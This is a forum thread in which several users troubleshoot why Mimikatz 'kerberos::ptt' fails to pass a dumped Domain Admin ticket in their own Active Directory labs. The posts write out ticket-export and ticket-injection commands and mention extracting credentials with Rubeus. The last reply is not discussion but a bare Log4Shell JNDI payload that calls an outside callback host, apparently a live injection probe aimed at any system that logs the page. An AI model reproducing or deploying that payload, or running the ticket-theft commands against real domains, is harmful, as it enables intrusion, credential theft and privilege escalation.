kerberos::ptt not working as expected

[m33s33ks]

I'm trying to simulate a Pass the ticket attack in my own AD lab. So I log into the Client Machine with my local Administrator and also with my Domain Administrator.

I then extract the tickets on the machine with my local Administrator: sekurlsa::tickets /export

This yields me the Domain Administrator ticket that I use like: kerberos::ptt [0;114fec]-2-1-40e10000-Administrator@krbtgt-SHADOWRUN.LOCAL.kirbi * File '[0;114fec]-2-1-40e10000-Administrator@krbtgt-SHADOWRUN.LOCAL.kirbi': OK

My expectation is that now I have injected the permissions of the Domain Admin and could, for example perform a directory listing on the Domain Controller.

When I try to do this with the cmd spawned with: misc::cmd

I always receive the error: "The system cannot contact a domain controller to service the authentication request. Please try again later." When I try to do the directory listing on my logged in Domain Admin, it works.

I'm using:. Domain Controller: Windows 2019 trial AD client: Windows 10 fully patched. Mimikatz Version: 2.2.0

Any help appreciated.

[crmhh]

Any news on this? Have exact the same problem.

In my lab I'm using:

• Server 2019 1809 as DC
• Win10 20H2 as Clients

Thanks in advance

[shaikhhasnain84]

Did you guys manage to solve this? I am getting same with Windows 2012 r2 DC and win10 client

[crmhh]

no - tested in another lab without success.... :-(

[x-delfino]

Having the same issue. Have been doing a bit of testing.

I can use Rubeus to extract a krb-cred for another user and then use kerberos::ptt cred.kirbi in mimikatz to add it to my current session. Pass-the-ticket works fine in this way, both with a service ticket and TGT. But no luck using tickets extracted with mimikatz. So seems to be something wrong with the extracted ticket - not adding it to the session.

Interestingly, when I try to use a ticket (TGT or service) extracted with mimikatz to access an SMB share on a file server, a random string appears to be appended to the principal name in the SMBClient logs (principal should be cifs/file01 afaik).

[Lucifer1993]

${jndi:ldap://${java:version}.dx3hbm.ceye.io}